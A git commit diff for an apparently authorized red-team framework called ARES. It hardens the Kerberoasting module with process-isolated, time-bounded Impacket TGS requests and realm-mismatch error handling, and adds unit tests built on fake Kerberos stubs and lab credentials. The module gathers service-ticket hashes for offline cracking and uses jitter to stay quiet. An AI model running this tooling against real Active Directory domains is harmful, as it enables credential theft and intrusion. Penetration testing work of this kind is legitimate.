Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

fix: bound Kerberoast TGS timeout and classify lab errors

Mafifrizif08e57610b85
diff --git a/ares/core/engine.py b/ares/core/engine.py
index ff9c1c4..caa4e7e 100644
--- a/ares/core/engine.py
+++ b/ares/core/engine.py
@@ -80,6 +80,14 @@ def normalize_module_outcome(
"Kerberos clock skew too great; sync the operator host and domain controller time, then rerun.",
)
error_text = str(error or "").strip()
+ if (
+ "kdc_err_wrong_realm" in error_text.lower()
+ or "kerberos realm mismatch" in error_text.lower()
+ ):
+ return (
+ "operator_error",
+ "Kerberos realm mismatch; use the AD DNS domain/realm such as lab.local or LAB.LOCAL, not the DC IP address.",
+ )
if (
"ldap/spn enumeration succeeded and found" in error_text.lower()
and "before a hash was confirmed" in error_text.lower()
@@ -200,7 +208,7 @@ class EngineModuleResult(BaseModel):
]
elif self.outcome == "network_error" and "before a hash was confirmed" in self.outcome_message.lower():
self.operator_next_steps = [
- "Verify DC/KDC reachability on port 88, clock synchronization, and Kerberos service health, then rerun."
+ "Verify DC/KDC reachability on port 88, clock synchronization, Kerberos service health, and account/SPN validity, then rerun."
]
@property
@@ -519,6 +527,12 @@ class AresEngine:
attempt=attempt,
timeout_seconds=effective_timeout,
)
+ except AresError as re:
+ _last_exc = re
+ _action = re.action
+ logger.warning("engine_retry_failed", module_id=module_id, attempt=attempt, re=re)
+ if _action != AresError.RETRY:
+ break
except Exception as re:
_last_exc = re
logger.warning("engine_retry_failed", module_id=module_id, attempt=attempt, re=re)
diff --git a/ares/modules/ad/kerberoast.py b/ares/modules/ad/kerberoast.py
index 1ec2898..a14bb4d 100644
--- a/ares/modules/ad/kerberoast.py
+++ b/ares/modules/ad/kerberoast.py
@@ -1,5 +1,7 @@
from __future__ import annotations
import asyncio
+import multiprocessing
+import time
"""
Kerberoasting — impacket.krb5.kerberosv5 low-level API (impacket ≥0.11 compatible)
MITRE: T1558.003 — Jitter + rate-limited TGS requests, hashcat-ready output.
@@ -32,6 +34,121 @@ def format_kerberoast_tgs_timeout(candidate_count: int) -> str:
)
+def format_kerberos_realm_mismatch() -> str:
+ return (
+ "Kerberos realm mismatch; use the AD DNS domain/realm such as "
+ "lab.local or LAB.LOCAL, not the DC IP address."
+ )
+
+
+def _kerberos_tgs_worker(
+ connection: Any,
+ spn: str,
+ domain: str,
+ dc: str,
+ tgt: Any,
+ cipher: Any,
+ session_key: Any,
+) -> None:
+ """Run one blocking Impacket TGS request in a killable child process."""
+ try:
+ from impacket.krb5.kerberosv5 import getKerberosTGS
+ from impacket.krb5.types import Principal
+ from impacket.krb5 import constants
+
+ server_name = Principal(
+ spn,
+ type=constants.PrincipalNameType.NT_SRV_INST.value,
+ )
+ tgs, _, _, _ = getKerberosTGS(
+ serverName=server_name,
+ domain=domain.upper(),
+ kdcHost=dc,
+ tgt=tgt,
+ cipher=cipher,
+ sessionKey=session_key,
+ )
+ connection.send(("ok", tgs))
+ except BaseException as exc:
+ try:
+ connection.send(("error", exc.__class__.__name__, str(exc)[:160]))
+ except Exception:
+ pass
+ finally:
+ connection.close()
+
+
+def _terminate_tgs_process(process: Any) -> None:
+ if not process.is_alive():
+ process.join(timeout=0)
+ return
+ process.terminate()
+ process.join(timeout=1)
+ if process.is_alive() and hasattr(process, "kill"):
+ process.kill()
+ process.join(timeout=1)
+
+
+async def _run_tgs_request_process(
+ *,
+ spn: str,
+ domain: str,
+ dc: str,
+ tgt: Any,
+ cipher: Any,
+ session_key: Any,
+ timeout_seconds: float,
+ worker: Any = _kerberos_tgs_worker,
+) -> bytes:
+ """Run one synchronous TGS request behind a hard process timeout."""
+ context = multiprocessing.get_context("spawn")
+ parent_connection, child_connection = context.Pipe(duplex=False)
+ process = context.Process(
+ target=worker,
+ args=(child_connection, spn, domain, dc, tgt, cipher, session_key),
+ )
+ started = False
+ try:
+ process.start()
+ started = True
+ child_connection.close()
+
+ deadline = time.monotonic() + timeout_seconds
+ while process.is_alive():
+ remaining = deadline - time.monotonic()
+ if remaining <= 0:
+ _terminate_tgs_process(process)
+ logger.warning(
+ "kerberoast_tgs_worker_timeout",
+ timeout_seconds=timeout_seconds,
+ )
+ raise asyncio.TimeoutError
+ await asyncio.sleep(min(0.05, remaining))
+
+ process.join(timeout=0)
+ if not parent_connection.poll():
+ raise RuntimeError("Kerberos TGS worker exited without a result.")
+ response = parent_connection.recv()
+ if response[0] == "error":
+ raise RuntimeError(
+ f"Kerberos TGS request failed: {response[1]}: {response[2]}"
+ )
+ if response[0] != "ok":
+ raise RuntimeError("Kerberos TGS worker returned an invalid result.")
+ return response[1]
+ finally:
+ if started and process.is_alive():
+ _terminate_tgs_process(process)
+ try:
+ child_connection.close()
+ except (OSError, ValueError):
+ pass
+ try:
+ parent_connection.close()
+ except (OSError, ValueError):
+ pass
+
+
def _format_krb5tgs_hash(tgs: bytes, cipher: "Any", spn: str, domain: str) -> str:
"""
Convert raw impacket TGS response to $krb5tgs$ format for hashcat mode 13100/19700.
@@ -225,7 +342,7 @@ class KerberoastModule(BaseModule):
("impacket", "pyasn1", "pyasn1_modules"),
module_id=self.MODULE_ID,
)
- from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
+ from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.types import Principal
from impacket.krb5 import constants
@@ -266,6 +383,12 @@ class KerberoastModule(BaseModule):
domain=domain,
service="Kerberos",
) from exc
+ if "kdc_err_wrong_realm" in err or "wrong realm" in err:
+ raise ModuleValidationError(
+ format_kerberos_realm_mismatch(),
+ module_id=self.MODULE_ID,
+ field="domain",
+ ) from exc
raise
# Step 2: Query SPN list via LDAP if no target_user specified
@@ -292,6 +415,10 @@ class KerberoastModule(BaseModule):
logger.warning("kerberoast_spn_lookup_failed", error=str(exc)[:80])
self._last_spn_count = len(spn_list)
+ logger.info(
+ "kerberoast_spn_candidates",
+ count=self._last_candidate_count,
+ )
if not spn_list:
return [], []
@@ -299,29 +426,45 @@ class KerberoastModule(BaseModule):
# Step 3: Request TGS per SPN with per-ticket jitter + rate limit
hashes: list[str] = []
accounts: list[dict] = []
-
- def _get_tgs(spn: str):
- server_name = Principal(
- spn,
- type=constants.PrincipalNameType.NT_SRV_INST.value,
- )
- return getKerberosTGS(
- serverName = server_name,
- domain = domain.upper(),
- kdcHost = dc,
- tgt = tgt,
- cipher = cipher,
- sessionKey = session_key,
- )
+ tgs_collection_deadline = (
+ time.monotonic() + KERBEROS_TGS_TIMEOUT_SECONDS
+ )
for i, spn in enumerate(spn_list):
+ remaining = tgs_collection_deadline - time.monotonic()
+ if remaining <= 0:
+ logger.warning(
+ "kerberoast_tgs_worker_timeout",
+ timeout_seconds=KERBEROS_TGS_TIMEOUT_SECONDS,
+ )
+ logger.warning(
+ "kerberoast_tgs_timeout_classified",
+ candidates=self._last_candidate_count,
+ )
+ raise ModuleValidationError(
+ format_kerberoast_tgs_timeout(self._last_candidate_count),
+ module_id=self.MODULE_ID,
+ field="kerberos_tgs",
+ )
try:
- tgs, tgs_cipher, _, tgs_sk = await asyncio.wait_for(
- loop.run_in_executor(None, _get_tgs, spn),
- timeout=KERBEROS_TGS_TIMEOUT_SECONDS,
+ logger.info(
+ "kerberoast_tgs_worker_start",
+ candidate=spn[:120],
+ )
+ tgs = await asyncio.wait_for(
+ _run_tgs_request_process(
+ spn=spn,
+ domain=domain,
+ dc=dc,
+ tgt=tgt,
+ cipher=cipher,
+ session_key=session_key,
+ timeout_seconds=KERBEROS_TGS_TIMEOUT_SECONDS,
+ ),
+ timeout=remaining,
)
# Format as $krb5tgs$ hash for hashcat
- hash_str = _format_krb5tgs_hash(tgs, tgs_cipher, spn, domain)
+ hash_str = _format_krb5tgs_hash(tgs, None, spn, domain)
if hash_str:
hashes.append(hash_str)
accounts.append({
@@ -330,6 +473,10 @@ class KerberoastModule(BaseModule):
"hash": hash_str[:60] + "...",
})
except asyncio.TimeoutError as exc:
+ logger.warning(
+ "kerberoast_tgs_timeout_classified",
+ candidates=self._last_candidate_count,
+ )
raise ModuleValidationError(
format_kerberoast_tgs_timeout(self._last_candidate_count),
module_id=self.MODULE_ID,
diff --git a/tests/unit/test_ad_bind_behavior.py b/tests/unit/test_ad_bind_behavior.py
index 69d2bd4..05be045 100644
--- a/tests/unit/test_ad_bind_behavior.py
+++ b/tests/unit/test_ad_bind_behavior.py
@@ -84,15 +84,13 @@ def _install_fake_ldap3(monkeypatch, *, bind_outcomes=None):
return FakeConnection
-def _install_fake_kerberos(monkeypatch, *, tgt_error=None, tgs_delay=0):
+def _install_fake_kerberos(monkeypatch, *, tgt_error=None):
def get_kerberos_tgt(**kwargs):
if tgt_error is not None:
raise tgt_error
return b"tgt", "cipher", b"old_session", b"session"
def get_kerberos_tgs(**kwargs):
- if tgs_delay:
- time.sleep(tgs_delay)
return b"tgs", "tgs_cipher", b"old", b"tgs_session"
class _PrincipalNameTypeValue:
@@ -131,6 +129,10 @@ def _install_fake_kerberos(monkeypatch, *, tgt_error=None, tgs_delay=0):
monkeypatch.setitem(sys.modules, "pyasn1_modules", types.ModuleType("pyasn1_modules"))
+def _blocking_tgs_worker(connection, *args):
+ time.sleep(5)
+
+
def test_ad_username_sanitizer_preserves_upn_and_explicit_netbios():
from ares.modules.ad.dependencies import sanitize_ad_username
@@ -307,6 +309,29 @@ async def test_kerberoast_invalid_tgt_credentials_are_nonretryable(monkeypatch):
assert "WrongPassword1!" not in str(exc_info.value)
+async def test_kerberoast_wrong_realm_is_nonretryable(monkeypatch):
+ import ares.modules.ad.kerberoast as kerberoast_mod
+ from ares.modules.ad.kerberoast import KerberoastModule
+
+ _install_fake_kerberos(monkeypatch, tgt_error=Exception("KDC_ERR_WRONG_REALM"))
+ module, _ = _make_module(KerberoastModule)
+
+ with pytest.raises(ModuleValidationError) as exc_info:
+ await module._request_tickets(
+ "10.0.0.5",
+ "UserLab!2026",
+ "10.0.0.5",
+ None,
+ )
+
+ assert exc_info.value.action == "abort"
+ assert exc_info.value.field == "domain"
+ assert str(exc_info.value) == kerberoast_mod.format_kerberos_realm_mismatch()
+ assert "UserLab!2026" not in str(exc_info.value)
+
+
@pytest.mark.asyncio
async def test_kerberoast_spn_lookup_consumes_enum_spn_output_key(monkeypatch):
import ares.modules.ad.kerberoast as kerberoast_mod
@@ -315,6 +340,11 @@ async def test_kerberoast_spn_lookup_consumes_enum_spn_output_key(monkeypatch):
_install_fake_kerberos(monkeypatch)
+ async def fake_tgs_process(**kwargs):
+ return b"tgs"
+
+ monkeypatch.setattr(kerberoast_mod, "_run_tgs_request_process", fake_tgs_process)
+
async def fake_enum_spn_run(*args, **kwargs):
return [], {"spn_list": [{"spn_list": ["HTTP/web.lab.local"]}]}
@@ -344,7 +374,7 @@ async def test_kerberoast_tgs_timeout_after_spn_enumeration_is_actionable(monkey
from ares.modules.ad.enum_spn import ADEnumSPNModule
from ares.modules.ad.kerberoast import KerberoastModule
- _install_fake_kerberos(monkeypatch, tgs_delay=0.05)
+ _install_fake_kerberos(monkeypatch)
monkeypatch.setattr(kerberoast_mod, "KERBEROS_TGS_TIMEOUT_SECONDS", 0.01)
async def fake_enum_spn_run(*args, **kwargs):
@@ -356,8 +386,15 @@ async def test_kerberoast_tgs_timeout_after_spn_enumeration_is_actionable(monkey
}
monkeypatch.setattr(ADEnumSPNModule, "run", fake_enum_spn_run)
+ real_process = kerberoast_mod._run_tgs_request_process
+
+ async def blocking_tgs_process(**kwargs):
+ return await real_process(worker=_blocking_tgs_worker, **kwargs)
+
+ monkeypatch.setattr(kerberoast_mod, "_run_tgs_request_process", blocking_tgs_process)
module, _ = _make_module(KerberoastModule)
+ started = time.monotonic()
with pytest.raises(ModuleValidationError) as exc_info:
await module._request_tickets(
"10.0.0.5",
@@ -366,8 +403,58 @@ async def test_kerberoast_tgs_timeout_after_spn_enumeration_is_actionable(monkey
"lab.local",
None,
)
+ assert time.monotonic() - started < 1.0
assert exc_info.value.action == "abort"
assert "LDAP/SPN enumeration succeeded and found 2 Kerberoastable candidate account(s)" in str(exc_info.value)
assert "Kerberos TGS request timed out before a hash was confirmed" in str(exc_info.value)
assert "Password1!" not in str(exc_info.value)
+
+
+async def test_kerberoast_tgs_collection_window_precedes_engine_timeout(monkeypatch):
+ import ares.modules.ad.kerberoast as kerberoast_mod
+ from ares.modules.ad.enum_spn import ADEnumSPNModule
+ from ares.modules.ad.kerberoast import KerberoastModule
+
+ _install_fake_kerberos(monkeypatch)
+ monkeypatch.setattr(kerberoast_mod, "KERBEROS_TGS_TIMEOUT_SECONDS", 0.01)
+
+ async def fake_enum_spn_run(*args, **kwargs):
+ return [], {
+ "spn_list": [
+ {"name": "svc-web", "spn_list": ["HTTP/web.lab.local"]},
+ {"name": "svc-sql", "spn_list": ["MSSQLSvc/sql.lab.local"]},
+ {"name": "svc-api", "spn_list": ["HTTP/api.lab.local"]},
+ ]
+ }
+
+ async def slow_tgs_process(**kwargs):
+ time.sleep(0.02)
+ return b"tgs"
+
+ async def no_sleep(*args):
+ return None
+
+ monkeypatch.setattr(ADEnumSPNModule, "run", fake_enum_spn_run)
+ monkeypatch.setattr(kerberoast_mod, "_run_tgs_request_process", slow_tgs_process)
+ monkeypatch.setattr(kerberoast_mod, "_format_krb5tgs_hash", lambda *args: "")
+ module, _ = _make_module(KerberoastModule)
+ monkeypatch.setattr(module.noise.jitter, "sleep", no_sleep)
+ monkeypatch.setattr(kerberoast_mod.asyncio, "sleep", no_sleep)
+
+ started = time.monotonic()
+ with pytest.raises(ModuleValidationError) as exc_info:
+ await module._request_tickets(
+ "10.0.0.5",
+ "Password1!",
+ "lab.local",
+ None,
+ )
+
+ assert time.monotonic() - started < 0.5
+ assert exc_info.value.action == "abort"
+ assert "found 3 Kerberoastable candidate account(s)" in str(exc_info.value)
+ assert "Kerberos TGS request timed out before a hash was confirmed" in str(exc_info.value)
+ assert "Password1!" not in str(exc_info.value)
diff --git a/tests/unit/test_engine.py b/tests/unit/test_engine.py
index bd44d65..593204d 100644
--- a/tests/unit/test_engine.py
+++ b/tests/unit/test_engine.py
@@ -189,6 +189,57 @@ class TestAsyncEngine:
assert result.outcome == "network_error"
assert "found 2 Kerberoastable candidate account(s)" in result.outcome_message
assert "Kerberos TGS request timed out" in result.outcome_message
+ assert "port 88" in result.operator_next_steps[0]
+ assert "clock synchronization" in result.operator_next_steps[0]
+ assert "Kerberos service health" in result.operator_next_steps[0]
+ assert "account/SPN validity" in result.operator_next_steps[0]
+
+ @pytest.mark.asyncio
+ async def test_retry_stops_when_retry_attempt_classifies_tgs_timeout(
+ self, settings: AresSettings, campaign: Campaign
+ ) -> None:
+ from ares.core.errors import ModuleValidationError, NetworkError
+ from ares.modules.ad.kerberoast import (
+ KerberoastModule,
+ format_kerberoast_tgs_timeout,
+ )
+
+ engine = AresEngine(settings=settings)
+ engine.load_modules()
+ calls = 0
+
+ async def transient_then_classified(self_unused: Any, ctx: Any) -> Any:
+ nonlocal calls
+ calls += 1
+ if calls == 1:
+ raise NetworkError("temporary KDC reachability failure")
+ raise ModuleValidationError(
+ format_kerberoast_tgs_timeout(2),
+ module_id="ad.kerberoast",
+ field="kerberos_tgs",
+ )
+
+ params = {
+ "dc": "10.0.0.5",
+ "domain": "corp.local",
+ "username": "svc-roast",
+ "password": "Passw0rd!",
+ "target_user": "sqlsvc",
+ }
+ with patch.object(KerberoastModule, "execute", transient_then_classified), \
+ patch("ares.core.engine.asyncio.sleep", new=AsyncMock()) as retry_sleep:
+ result = await engine.run_module(
+ "ad.kerberoast",
+ campaign,
+ params,
+ actor_role="team_lead",
+ )
+
+ assert calls == 2
+ assert retry_sleep.await_count == 1
+ assert result.outcome == "network_error"
+ assert "found 2 Kerberoastable candidate account(s)" in result.outcome_message
+ assert "Kerberos TGS request timed out" in result.outcome_message
@pytest.mark.asyncio
async def test_run_module_timeout(
diff --git a/tests/unit/test_module_contracts.py b/tests/unit/test_module_contracts.py
index d03ba4f..1abe236 100644
--- a/tests/unit/test_module_contracts.py
+++ b/tests/unit/test_module_contracts.py
@@ -225,6 +225,13 @@ def test_engine_done_without_findings_has_explicit_outcome():
"Kerberos clock skew too great; sync the operator host and domain controller time, then rerun."
)
assert clock_skew.operator_next_steps
+ realm_mismatch = EngineModuleResult(
+ module_id="ad.kerberoast",
+ status=ModuleStatus.FAILED,
+ error="KDC_ERR_WRONG_REALM",
+ )
+ assert realm_mismatch.outcome == "operator_error"
+ assert "Kerberos realm mismatch" in realm_mismatch.outcome_message
assert "Passw0rd!" not in (secret_error.error or "")
assert "secret-token" not in (secret_error.error or "")
@@ -255,5 +262,5 @@ def test_ad_empty_results_have_operator_facing_classification():
assert timeout.outcome != "module_error"
assert timeout.outcome_message == timeout_message
assert timeout.operator_next_steps == [
- "Verify DC/KDC reachability on port 88, clock synchronization, and Kerberos service health, then rerun."
+ "Verify DC/KDC reachability on port 88, clock synchronization, Kerberos service health, and account/SPN validity, then rerun."
]